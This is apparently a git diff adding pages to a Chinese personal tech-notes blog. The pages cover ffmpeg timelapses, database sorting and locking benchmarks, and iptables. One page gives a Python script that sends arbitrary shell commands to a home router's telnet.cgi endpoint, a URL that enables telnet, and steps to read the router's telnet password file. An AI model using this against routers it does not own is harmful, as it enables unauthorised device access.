from urllib import parse +import requests + +host = "http://192.168.1.1:8080" +send_url = host+"/cgi-bin/telnet.cgi" +response_url = host+"/cgi-bin/submit.cgi" + +def f(cmd): + HEADERS = {'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'} + data = {"InputCmd":cmd} + + r = requests.post(send_url, data=parse.urlencode(data)).text + print("[-] send done:") + print(r) + + rep = requests.get(response_url).text + print('[-] resp:') + print(rep) +if __name__ == '__main__': + while True: + c = input("") + f(c) +
- 打开telnet
访问 192.168.1.1:8080/cgi-bin/telnetenable.cgi?telnetenable=1 即可
- 寻找telnet密码
尝试写入/etc/passwd, 但是不起作用,想着看看有没有明文密码
cat /flash/cfg/agentconf/factory.conf 没有 在/var 目录下找到一个密码文件,确定了
cat /var/telWan_passwd
ffmpeg + + + + + ++ + + diff --git a/video/index.html b/video/index.html new file mode 100644 index 0000000..96bbab0 --- /dev/null +++ b/video/index.html @@ -0,0 +1,34 @@ + + + + + + + + +ffmpeg
接入监控系统后, 就需要对这些视频做一定的处理,水星安防app提供的云服务有事件录像、人形识别等功能,大概一年90元, 我们肯定是不会掏这个钱的,所以就需要自己处理
第一个应用 制作延时摄像
- 从每日的太阳升起到日落,将越12小时的视频,快进到10分钟左右
ffmpeg -hwaccel auto -i /Users/teletraan/Downloads/2023-10-10T11-15-01.mp4 -c:v libx265 -vf "setpts=0.02*PTS,scale=640:-1,fps=15" -b:v 500K -an -ss 00:00:00 -t 00:01:00 output.mp4 +
由于我们录像机设置的最大是15分钟,所以还需要拼接一下
15分钟要102秒,那么12小时就是4×102s×12 =
优化,直接用copy,就不用重新编码了
ffmpeg -hwaccel auto -i /Users/teletraan/Downloads/2023-10-10T11-15-01.mp4 -c:v copy -vf "setpts=0.02*PTS,scale=640:-1,fps=15" -b:v 500K -an -ss 00:00:00 -t 00:01:00 output.mp4 +
错误的,改了码率,不能这么搞
windows 将一个目录下的所有图片剪辑为视频
@echo off +setlocal enabledelayedexpansion + +set "input_folder=%~dp0" +set "output_file=output.mp4" +set "framerate=30" +set "codec=hevc_qsv" +set "pix_fmt=yuv420p" +set "filelist=filelist.txt" +set "input_files=" +(for %%i in ("*.jpg") do ( + echo file '%%i' +)) > "%filelist%" + + + +e:/ffmpeg-master-latest-win64-gpl/bin/ffmpeg.exe -f concat -safe 0 -i "%filelist%" -framerate %framerate% -c:v %codec% -pix_fmt %pix_fmt% "%output_file%" + +pause + +
这里是video + + + + + + + + + diff --git "a/video/shinobi-\345\274\200\346\272\220NVR.html" "b/video/shinobi-\345\274\200\346\272\220NVR.html" new file mode 100644 index 0000000..5d24c54 --- /dev/null +++ "b/video/shinobi-\345\274\200\346\272\220NVR.html" @@ -0,0 +1,34 @@ + + + + + + + + +shinobi-开源NVR + + + + + + + + + diff --git "a/web/23-5-22pg\346\225\260\346\215\256\345\272\223\347\232\204\344\270\255\346\226\207\346\216\222\345\272\217.html" "b/web/23-5-22pg\346\225\260\346\215\256\345\272\223\347\232\204\344\270\255\346\226\207\346\216\222\345\272\217.html" new file mode 100644 index 0000000..3adc4b9 --- /dev/null +++ "b/web/23-5-22pg\346\225\260\346\215\256\345\272\223\347\232\204\344\270\255\346\226\207\346\216\222\345\272\217.html" @@ -0,0 +1,34 @@ + + + + + + + + +23-5-22pg数据库的中文排序 + + + + + ++ + + diff --git a/web/index.html b/web/index.html new file mode 100644 index 0000000..c61477b --- /dev/null +++ b/web/index.html @@ -0,0 +1,34 @@ + + + + + + + + +23-5-22pg数据库的中文排序
背景
pg数据库存储的utf8字段,需要按拼音进行排序
方案1
方案1:在了解到gbk编码按照拼音顺序编码后,使用convert函数将utf8字段转为gbk,然后ordr by即可
ORDER BY CONVERT(ColumnName USING gbk)
小问题:存储的emjoy等不能转换为utf8的,则会查询失败, 需要禁止输入非gbk编码方案2
方案2:
select * from process order by name collate "zh_CN"
前提db有这个collate,可以通过select * from pg_collation;
查询group_member_ids: list[StringIDInput] = Field(alias="group_members")
这里是web + + + + + + + + + diff --git "a/web/mysql_\345\205\250\350\241\250\346\237\245\350\257\242\347\232\204\344\274\230\345\214\226.html" "b/web/mysql_\345\205\250\350\241\250\346\237\245\350\257\242\347\232\204\344\274\230\345\214\226.html" new file mode 100644 index 0000000..4eba4dd --- /dev/null +++ "b/web/mysql_\345\205\250\350\241\250\346\237\245\350\257\242\347\232\204\344\274\230\345\214\226.html" @@ -0,0 +1,43 @@ + + + + + + + + +[mysql]全表查询的优化 + + + + + ++ + + diff --git "a/web/project_\351\241\271\347\233\256\351\205\215\347\275\256\346\226\207\344\273\266.html" "b/web/project_\351\241\271\347\233\256\351\205\215\347\275\256\346\226\207\344\273\266.html" new file mode 100644 index 0000000..ca02809 --- /dev/null +++ "b/web/project_\351\241\271\347\233\256\351\205\215\347\275\256\346\226\207\344\273\266.html" @@ -0,0 +1,34 @@ + + + + + + + + +[mysql]全表查询的优化
执行分析命令时,对于一个量级为110w的数据表进行全表扫描
ALTER TABLE `xx` +ADD PRIMARY KEY `id_score` (`id`, `score`), +DROP INDEX `PRIMARY`; + +
先改一下表里的数据
update xxx set score=-1 where score is null + -> ; +Query OK, 2637 rows affected (8.47 sec) +Rows matched: 2637 Changed: 2637 Warnings: 0 + +
然后改表的默认值,
然后加上这个联合主键
加主键的时候,我把score放前面了,又不行,必须把id放第一个
加完以后,又出问题
为什么推荐InnoDB引擎使用自增主键? https://www.kancloud.cn/db-design/mysql-dba/596722
MySQL PARTITION 分区表使用教程 https://news.sangniao.com/p/2684880278 结合业务场景选择分区键,避免跨分区查询 对分区表进行查询最好在WHERE从句中包含分区键 具有主键或唯一索引的表,主键或唯一索引必须是分区键的一部分(这也是为什么我们上面分区时去掉了主键登录日志id(login_id)的原因,不然就无法按照上面的按年份进行分区,所以分区表其实更适合在MyISAM引擎中) 关于MyISAM和Innodb的索引区别
1.关于自动增长
myisam引擎的自动增长列必须是索引,如果是组合索引,自动增长可以不是第一列,他可以根据前面几列进行排序后递增。
innodb引擎的自动增长咧必须是索引,如果是组合索引也必须是组合索引的第一列。
mysql 分区的真正作用? https://www.zhihu.com/question/38418707
[project]项目配置文件 + + + + + ++ + + diff --git "a/web/python_\344\273\245\345\233\276\346\220\234\345\233\276\347\263\273\347\273\237.html" "b/web/python_\344\273\245\345\233\276\346\220\234\345\233\276\347\263\273\347\273\237.html" new file mode 100644 index 0000000..61551f5 --- /dev/null +++ "b/web/python_\344\273\245\345\233\276\346\220\234\345\233\276\347\263\273\347\273\237.html" @@ -0,0 +1,34 @@ + + + + + + + + +[python]以图搜图系统 + + + + + + + + + diff --git "a/web/web_web\346\250\241\345\236\213.html" "b/web/web_web\346\250\241\345\236\213.html" new file mode 100644 index 0000000..427a32d --- /dev/null +++ "b/web/web_web\346\250\241\345\236\213.html" @@ -0,0 +1,34 @@ + + + + + + + + +[web]web模型 + + + + + ++ + + diff --git "a/web/web_\346\234\215\345\212\241\347\253\257\346\270\262\346\237\223\344\270\216\345\256\242\346\210\267\347\253\257\346\270\262\346\237\223.html" "b/web/web_\346\234\215\345\212\241\347\253\257\346\270\262\346\237\223\344\270\216\345\256\242\346\210\267\347\253\257\346\270\262\346\237\223.html" new file mode 100644 index 0000000..b6132aa --- /dev/null +++ "b/web/web_\346\234\215\345\212\241\347\253\257\346\270\262\346\237\223\344\270\216\345\256\242\346\210\267\347\253\257\346\270\262\346\237\223.html" @@ -0,0 +1,34 @@ + + + + + + + + +[web]服务端渲染与客户端渲染 + + + + + ++ + + diff --git "a/web/web_\350\243\205\351\245\260\345\231\250\346\250\241\345\274\217\345\234\250canvas\351\207\214\347\232\204\345\272\224\347\224\250.html" "b/web/web_\350\243\205\351\245\260\345\231\250\346\250\241\345\274\217\345\234\250canvas\351\207\214\347\232\204\345\272\224\347\224\250.html" new file mode 100644 index 0000000..8694cce --- /dev/null +++ "b/web/web_\350\243\205\351\245\260\345\231\250\346\250\241\345\274\217\345\234\250canvas\351\207\214\347\232\204\345\272\224\347\224\250.html" @@ -0,0 +1,34 @@ + + + + + + + + +[web]服务端渲染与客户端渲染
大学时,老师教了jsp,使用的是模版引擎
在我第一次写web应用时,使用的后台是django,django支持模版引擎渲染,但是我觉得非常恶心,因为他要把html和模版语言写在一块
当时写的是内部网站,不需要seo,使用html写完代码以后,其中获取数据的部分使用jquery的ajax动态获取
后来编写博客的时候,用到vnote以及衍生品viki,viki使用js在前端将md文档渲染为html,非常好用,但是缺点是搜索引擎无法识别动态内容 借此机会,了解了一下服务端渲染和客户端渲染 现在pc上的老牌网站,例如淘宝,在2013年左右使用的是php,将php嵌入到html中,通过php调用函数,渲染html,在2014年,淘宝改为使用nodejs的中间层技术
淘宝、天猫首页技术从Node.js 换回PHP了么? https://www.zhihu.com/question/54777923
[web]装饰器模式在canvas里的应用 + + + + + + + + + diff --git "a/web/\344\271\220\350\247\202\351\224\201\343\200\201\346\202\262\350\247\202\351\224\201\343\200\201\345\210\206\345\270\203\345\274\217\351\224\201.html" "b/web/\344\271\220\350\247\202\351\224\201\343\200\201\346\202\262\350\247\202\351\224\201\343\200\201\345\210\206\345\270\203\345\274\217\351\224\201.html" new file mode 100644 index 0000000..1788901 --- /dev/null +++ "b/web/\344\271\220\350\247\202\351\224\201\343\200\201\346\202\262\350\247\202\351\224\201\343\200\201\345\210\206\345\270\203\345\274\217\351\224\201.html" @@ -0,0 +1,152 @@ + + + + + + + + +乐观锁、悲观锁、分布式锁 + + + + + ++ + + diff --git "a/web/\345\237\272\344\272\216ddd\347\232\204\346\236\266\346\236\204.html" "b/web/\345\237\272\344\272\216ddd\347\232\204\346\236\266\346\236\204.html" new file mode 100644 index 0000000..a11dd2c --- /dev/null +++ "b/web/\345\237\272\344\272\216ddd\347\232\204\346\236\266\346\236\204.html" @@ -0,0 +1,34 @@ + + + + + + + + +乐观锁、悲观锁、分布式锁
假设抢购系统,1000用户在10秒内购买一个商品
""" +并发更新速度测试 +ab -n 1000 -c 100 http://127.0.0.1:8000/ +""" + +from fastapi import FastAPI +import pymysql +# SQLALCHEMY_DATABASE_URL = "postgresql://postgres:postgres@localhost:5432/demo2" +import redis +from redis import Redis + +app = FastAPI() +pool = redis.ConnectionPool(host='localhost', port=6379, max_connections=100) # 链接数量要大于最大并发数,否则实例化不出来 + + +def leguan(retry=0, db=None): + if db is None: + db = pymysql.Connect(host='localhost', user='root', password='example', db='moye') + db.begin() + cursor = db.cursor() + cursor.execute("select * from emp where id=1") + version = cursor.fetchone()[2] + + count = cursor.execute("update emp set value=value-1, version=version+1 where id=1 and value-1>=0 and version="+str(version)) + if count == 0: + db.rollback() + if retry <= 4: + return leguan(retry + 1, db) + return {"shibai":"shibail"} + db.commit() + return {"Hello": "World"} + +def beiguan(): + db = pymysql.Connect(host='localhost', user='root', password='example', db='moye') + db.begin() + cursor = db.cursor() + cursor.execute("select * from emp where id=1 for update") + version = cursor.fetchone()[2] + + count = cursor.execute("update emp set value=value-1, version=version+1 where id=1 and value-1>=0") + if count == 0: + db.rollback() + return {"shibai":"shibail"} + db.commit() + return {"Hello": "World"} + +def redis_(): + redis_client: Redis = redis.Redis(connection_pool=pool) + # redis_client: Redis = redis.from_url("redis://localhost:6379") + with redis_client.lock(name='id_1',sleep=0.01, timeout=60, blocking_timeout=60): + + db = pymysql.Connect(host='localhost', user='root', password='example', db='moye') + db.begin() + cursor = db.cursor() + cursor.execute("select * from emp where id=1") + version = cursor.fetchone()[2] + + count = cursor.execute("update emp set value=value-1, version=version+1 where id=1 and value-1>=0") + if count == 0: + db.rollback() + return {"shibai": "shibail"} + db.commit() + return {"Hello": "World"} + + +@app.get("/") +def read_root(): + # leguan() # 乐观锁100个请求,在一秒内只能成功5-15个 + # beiguan() # 悲观锁速度没慢多少的同时,全部成功了 + redis_() # redis由于需要cpu sleep ,属于是又慢又怕锁超时 + +
使用ab压测
100并发
悲观锁
乐观锁
可惜只有6个购买成功
并发100, 总共1000个
乐观锁 成功147个
悲观锁
又快又好,真离谱
redis
并发200,总共1000
悲观锁
redis 分布式锁
悲观锁+async sqlalchemy
reids锁+ async aioreids
慢的离谱,cpu90%
""" +并发更新速度测试 +ab -n 1000 -c 100 http://127.0.0.1:8000/ +""" + +from fastapi import FastAPI +# SQLALCHEMY_DATABASE_URL = "postgresql://postgres:postgres@localhost:5432/demo2" +import sqlalchemy as sa +from aioredis import Redis +import aioredis +app = FastAPI() +# pool = aioredis.ConnectionPool(host='localhost', port=6379, max_connections=100) # 链接数量要大于最大并发数,否则实例化不出来 +from sqlalchemy.ext.asyncio import create_async_engine + +engine = create_async_engine( + "mysql+asyncmy://root:example@localhost:3306/moye" +) + +async def beiguan(): + + async with engine.connect() as db, db.begin(): + + + result = await db.execute(sa.text("select * from emp where id=1 for update")) + version = result.fetchone()[2] + + count = await db.execute(sa.text("update emp set value=value-1, version=version+1 where id=1 and value-1>=0")) + return {"Hello": "World"} + +async def redis_(): + # redis_client: Redis = redis.Redis(connection_pool=pool) + redis_client: Redis = Redis.from_url("redis://localhost:6379") + async with redis_client.lock(name='id_1',sleep=0.01, timeout=60, blocking_timeout=60): + async with engine.connect() as db, db.begin(): + result = await db.execute(sa.text("select * from emp where id=1")) + version = result.fetchone()[2] + + count = await db.execute(sa.text("update emp set value=value-1, version=version+1 where id=1 and value-1>=0")) + + + +@app.get("/") +async def read_root(): + # leguan() # 乐观锁100个请求,在一秒内只能成功5-15个b + await beiguan() # 悲观锁速度没慢多少的同时,全部成功了 + # await redis_() # redis由于需要cpu sleep ,属于是又慢又怕锁超时 + +
基于ddd的架构 + + + + + + + + + diff --git "a/web/\345\274\202\346\255\245\344\273\273\345\212\241\344\270\216\344\272\213\345\212\241_.html" "b/web/\345\274\202\346\255\245\344\273\273\345\212\241\344\270\216\344\272\213\345\212\241_.html" new file mode 100644 index 0000000..49fc4c2 --- /dev/null +++ "b/web/\345\274\202\346\255\245\344\273\273\345\212\241\344\270\216\344\272\213\345\212\241_.html" @@ -0,0 +1,34 @@ + + + + + + + + +[异步任务与事务] + + + + + ++ + + diff --git "a/web/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_iptables.html" "b/web/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_iptables.html" new file mode 100644 index 0000000..ed9a391 --- /dev/null +++ "b/web/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_iptables.html" @@ -0,0 +1,34 @@ + + + + + + + + +[异步任务与事务]
业务
用户可以开始任务
任务状态变成等待中,提交给celery,等待执行
这是,用户可以撤销任务
撤销任务:
任务状态变成ready
所以当还没被消费时,用户就撤销了,就很完美
但是已经开始消费了,用户再撤销,就会有bug
事务A start_task 事务B revoke_task 判断Task state是否为cancel 修改Task state=cancel Save Task update_network_check_item_state = SEARCH_CATALOG Save NetworkCheckItem 成功或失败 Save NetworkCheckItem 等待0.8秒 Save NetworkCheckItem 修改Task = RUNNING Save Task 提交事务 提交事务 [计算机网络]iptables + + + + + ++ + + diff --git "a/web/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_ip\345\215\217\350\256\256.html" "b/web/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_ip\345\215\217\350\256\256.html" new file mode 100644 index 0000000..706b7af --- /dev/null +++ "b/web/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_ip\345\215\217\350\256\256.html" @@ -0,0 +1,34 @@ + + + + + + + + +[计算机网络]iptables
-A {INPUT|OUTPUT}:将防火墙规则附加到输入或输出链。 -p icmp:使用 ICMP 协议。 -p icmp --icmp-type {0|8}OR :icmp 按数字(如“0”)或名称(如“回显回复”)匹配选项。--icmp-type {echo-reply|echo-request} -j {ACCEPT|REJECT|DROP}:告诉 Linux 如果数据包匹配该怎么做。接受表示让数据包通过。丢弃或拒绝表示将数据包丢弃在地板上。当您希望另一端(客户端或主机或机器人)知道端口无法访问时,请使用 REJECT 并使用 DROP 连接到您不希望人员/机器人/客户端看到的主机。 -m state --state NEW,ESTABLISHED,RELATED:使用 or 选项进行扩展 icmp 数据包匹配。这些值是:--ctstate-m state INVALID:数据包与未知连接关联。 NEW:数据包已启动新连接或以其他方式与未在两个方向上看到数据包的连接相关联。 ESTABLISHED:数据包与在两个方向上看到数据包的连接相关联。 RELATED:数据包正在启动新连接,但与现有连接相关联,例如 FTP 数据传输或 ICMP 错误。
https://wooyun.js.org/drops/Iptables%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B.html
[计算机网络]ip协议 + + + + + ++ + + diff --git "a/web/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_\350\267\257\347\224\261\345\231\250.html" "b/web/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_\350\267\257\347\224\261\345\231\250.html" new file mode 100644 index 0000000..284e117 --- /dev/null +++ "b/web/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_\350\267\257\347\224\261\345\231\250.html" @@ -0,0 +1,34 @@ + + + + + + + + +[计算机网络]路由器 + + + + + + + + + diff --git "a/web/\350\277\220\347\273\264\347\233\270\345\205\263.html" "b/web/\350\277\220\347\273\264\347\233\270\345\205\263.html" new file mode 100644 index 0000000..8858f5b --- /dev/null +++ "b/web/\350\277\220\347\273\264\347\233\270\345\205\263.html" @@ -0,0 +1,34 @@ + + + + + + + + +运维相关 + + + + + ++ + +运维相关
想在多个机器上使用同一个 shell 脚本有什么好建议吗?
https://www.v2ex.com/t/845974 curl 执行暴露出来的脚本 scp git 私仓 ansible or saltstack (推荐后者)
安卓自动化:
https://github.com/Jinnrry/RobotHelper
tcp 连接 netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
iptables 做端口转发
iptables -t nat -A PREROUTING -i pppoe-wan -p tcp --dport 36000 -j DNAT --to-destination 192.168.2.190:22